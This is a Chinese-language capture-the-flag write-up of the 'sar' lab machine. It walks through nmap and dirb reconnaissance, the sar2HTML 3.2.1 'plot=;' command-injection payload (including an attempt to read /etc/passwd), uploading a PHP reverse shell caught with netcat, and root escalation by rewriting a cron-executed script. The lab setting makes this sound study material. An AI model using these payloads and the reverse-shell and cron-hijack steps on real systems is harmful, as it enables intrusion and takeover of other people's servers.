在导入虚拟机后,右击sar靶机,然后选中配置。依次点击网络适配器->NAT模式,然后确认即可。
一、信息收集 1.主机发现arp-scan -l #ARP扫描工具进行主机发现
2.端口扫描
nmap -A -sV -p- --min-parallelism 100 192.168.108.133 #扫描端口
nmap用法:
-A 可以扫描出服务版本信息和目标 *** 作系统信息,不同服务的版本有着相应的漏洞可以利用
-p- 是对靶机所有1-65535的端口进行发现扫描
-sV 扫描目标主机的端口上运行的软件版本,顺带扫带端口
--min-parallelism 100 调整探测报文的并行度
二、漏洞探测
1.访问端口
发现只开放的80端口,用浏览器打开该网站。
http://192.168.108.133/
2.目录扫描
dirb http://192.168.108.133/ #对目标靶机的80端口进行目录扫描(默认扫描80端口)
发现了两个特殊地址,其中robots.txt一般保存一些关键目录,防止搜索引擎的爬虫爬取这些目录。所以访问这个文件或许会发现新的隐藏目录或隐藏文件。
http://192.168.108.133/robots.txt #访问robots.txt,发现隐藏目录
http://192.168.108.133/sar2HTML/ #访问隐藏目录
发现sar2HTML的版本号,在浏览器上搜索,可以发现它的远程代码执行漏洞,该靶机上sar2HTML的版本刚好是3.2.1,可以利用该漏洞建立反dshell。
sar2HTML的远程代码执行利用方式已经给出来了,在浏览器的URL输入如下地址就可执行命令。
http://192.168.119.174/sar2HTML/index.php?plot=;<系统命令>
2.尝试直接查看密码
http://192.168.108.133/sar2HTML/index.php?plot=;cat /etc/passwd #未成功
3.发现可以上传文件
4.编辑一个php反dshell的木马
(github等直接可以下载,GitHub - pentestmonkey/php-reverse-shell)
注意:要将ip改成kali的ip,端口port随便设置一个。
上传木马文件
上传成功
6.kali里设置监听nc -lvp 2345 #这里的2345是刚刚zhang.php里设置的端口
7.访问木马,反dshell
这里的文件上传没有任何过滤,并且这个GitHub地址上给出了默认路径,尝试默认路径可以直接知道上传shell的路径。
http://192.168.108.133/sar2HTML/sarDATA/uPLOAD/zhang.php
访问后,发现成功反d
拿到shell后首先尝试了suid提权,内核提权,但是没有成功!到home目录里面也没有发现特殊文件,然后到网站的根目录下寻找特殊文件
id #查看登录id
cd /var/www/html #访问/var/www/html目录
ls #查看/var/www/html目录下的文件
cat finally.sh #查看特殊文件finally.sh
cat write.sh #查看特殊文件write.sh
发现 finally.sh 里的内容就是执行 write.sh 文件,而 write.sh 文件的作用就是创建一个文件
/tmp/gateway 。由此想到了计划任务提权,查看一下 定时任务的配置文件 /etc/crontab 。
cat /etc/crontab #访问定时任务的配置文件
2.写入反dshell的代码到write.sh
果然定时计划配置不当,系统会每五分钟就以root权限执行finally.sh。现在将反dshell的代码写入
write.sh 中。
echo '#!/bin/sh' > write.sh
echo “php /var/www/html/sar2HTML/sarDATA/uPLOAD/zhang.php” >> write.sh
3.反dshell木马
先设置下面的这个监听,再执行(回车执行)上面代码
nc -lvp 2345 #另开一个终端,继续监听2345端口
成功上线
id #已经为root权限
cd /root #转换到root目录
ls #查看root目录下的文件
cat root.txt #找到flag
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)